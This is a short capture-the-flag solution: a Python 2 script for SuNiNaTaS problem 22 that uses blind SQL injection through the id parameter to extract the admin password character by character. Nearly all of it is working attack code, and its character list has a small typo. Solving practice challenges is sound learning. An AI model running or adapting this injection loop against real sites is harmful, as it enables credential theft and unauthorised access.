suninatas 22

suninatas 22번 문제

import requests
 
session = requests.Session()
 
#word
wordlist = "abcdefghijklmnopqrstuvwzyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+"
answer= ""
for i in range(10):
    for j in range(len(wordlist)):
        #print "admin' and (substring(pw,"+str(i+1)+",1)='"+wordlist[j]+"')--"
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1","Referer":"http://suninatas.com/Part_one/web22/web22.asp","Connection":"close","Accept-Language":"ko-KR"}
        cookies = {"ASPSESSIONIDSAADDQAR":"_Your Cookie_"}
        paramsGet = {"pw":"aaaaa","id":"admin'and(substring(pw,"+str(i+1)+",1)='"+wordlist[j]+"')--"}
        response = session.get("http://suninatas.com/Part_one/web22/web22.asp", params=paramsGet, headers=headers, cookies=cookies)
        
        p = 'OK'
        
        if response.content.find(p) != -1:
            print wordlist[j]
            answer+=wordlist[j]
                
 
print("answer:   %s" % answer)
        #print("Status code:   %i" % response.status_code)
        #print("Response body: %s" % response.content)